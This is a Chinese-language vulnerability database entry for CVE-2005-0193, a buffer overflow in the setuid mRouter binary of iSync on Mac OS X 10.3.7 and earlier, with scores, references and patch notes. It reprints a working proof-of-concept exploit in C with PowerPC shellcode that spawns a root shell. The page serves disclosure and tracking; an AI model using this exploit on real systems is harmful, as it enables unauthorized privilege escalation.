CVE-2005-0193
CVSS7.2
发布时间 :2005-01-22 00:00:00
修订时间 :2016-10-17 23:08:25
NMCOES    

[原文]Buffer overflow in the (1) -v and (2) -a switches in mRouter in iSync 1.5 in Mac OS X 10.3.7 and earlier allows local users to execute arbitrary code.


[CNNVD]Apple MacOS iSync mRouter 缓存区溢出漏洞(CNNVD-200501-265)

        Apple Mac OS X是一款使用在Mac机器上的操作系统,基于BSD系统。
        Mac OS X 10.3.7及之前版本中iSync(v1.5)的mRouter命令-v及-a选项中存在缓冲区溢出。
        本地用户可利用此漏洞执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0193
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0193
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200501-265
(官方数据源) CNNVD

- 其它链接及资源

http://lists.apple.com/archives/security-announce/2005/Apr/msg00001.html
(VENDOR_ADVISORY)  APPLE  APPLE-SA-2005-04-19
http://marc.info/?l=bugtraq&m=110642400018425&w=2
(UNKNOWN)  BUGTRAQ  20050122 Mac OS X 10.3 iSync Privilege Escalation
http://securitytracker.com/id?1012974
(UNKNOWN)  SECTRACK  1012974
http://www.securityfocus.com/bid/12334
(UNKNOWN)  BID  12334
http://xforce.iss.net/xforce/xfdb/19011
(VENDOR_ADVISORY)  XF  isync-mrouter-bo(19011)

- 漏洞信息

Apple MacOS iSync mRouter 缓存区溢出漏洞
高危 缓冲区溢出
2005-01-22 00:00:00 2005-10-20 00:00:00
本地  
        Apple Mac OS X是一款使用在Mac机器上的操作系统,基于BSD系统。
        Mac OS X 10.3.7及之前版本中iSync(v1.5)的mRouter命令-v及-a选项中存在缓冲区溢出。
        本地用户可利用此漏洞执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://support.apple.com/downloads/Security_Update_2005_004

- 漏洞信息 (766)

Mac OS X <= 10.3.7 mRouter Local Privilege Escalation Exploit (EDBID:766)
osX local
2005-01-22 Verified
0 nemo
N/A [点击下载]
/*
  * fm-iSink.c
  * overflow in mRouter, suid binary used by iSync, on OSX <= 10.3.7
  *
  * written by -( nemo @ felinemenace.org )-
  *
  *                    _,'|             _.-''``-...___..--';)
  *                    /_ \'.      __..-' ,      ,--...--'''
  *                   <\    .`--'''       `     /'
  *                   `-';'               ;   ; ;
  *              __...--''     ___...--_..'  .;.'
  *          fL (,__....----'''       (,..--''
  *
  * http://pulltheplug.org and http://felinemenace.org.
  *
  * Bug discovered by Braden Thomas. Exploit by nemo.
  *
  * -( need a challenge...? )-
  * -( http://www.pulltheplug.org )-
  */

#include <sys/types.h>
#include <string.h>
#include <unistd.h>

#define VULNPROG 
"/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/
mRouter"
#define MAXBUFSIZE 4096

char shellcode[] = // Shellcode by b-r00t, modified by nemo.
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\xc3\x38\x0a\xfe\xf4"
"\x44\xff\xff\x02\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xff\xff\x02"
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x60"
"\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8"
"\x3b\xc0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x3b\xc0\x01\x0d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68";

char filler[MAXBUFSIZE];

int main(int ac, char **av)
{
unsigned int ret  = 0xbffffffa -  strlen(shellcode);
         char *args[] = { VULNPROG, "-v", "-a", filler, NULL };
char *env[]  = { "TERM=xterm", shellcode, NULL };

         memset(filler,(char)'A',sizeof(filler));
         memcpy(filler+MAXBUFSIZE-5,&ret,4);

execve(*args, args,env);

         return 0;
}

// milw0rm.com [2005-01-22]
		

- 漏洞信息

13158
Apple Mac OS X iSync Mrouter Multiple Parameter Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A local overflow exists in Mac OS X. The mrouter binary installed with iSync fails to validate user input to the -v and -a parameters resulting in a buffer overflow. With a specially crafted request, an attacker can cause privilege escalation to root resulting in a loss of integrity.

- 时间线

2005-01-22 2005-01-12
2005-01-22 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

Apple iSync mRouter Local Command Line Argument Buffer Overflow Vulnerability
Boundary Condition Error 12334
No Yes
2005-01-22 12:00:00 2009-07-12 10:06:00
Braden Thomas <bjthomas@usc.edu> discovered this vulnerability. <nemo@felinemenace.org> created the proof of concept exploit.

- 受影响的程序版本

Apple iSync 1.5

- 漏洞讨论

iSync's 'mRouter' binary is reportedly susceptible to a local command line argument buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied input data prior to copying it into an insufficiently sized memory buffer.

The 'mRouter' binary is installed by default with setuid superuser permissions. This vulnerability allows users with local interactive access to a computer with the affected application installed to gain superuser privileges.

- 漏洞利用

A proof of concept exploit is provided:

- 解决方案

Apple has released an advisory (APPLE-SA-2005-04-19) and an update to address this vulnerability.


Apple iSync 1.5

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站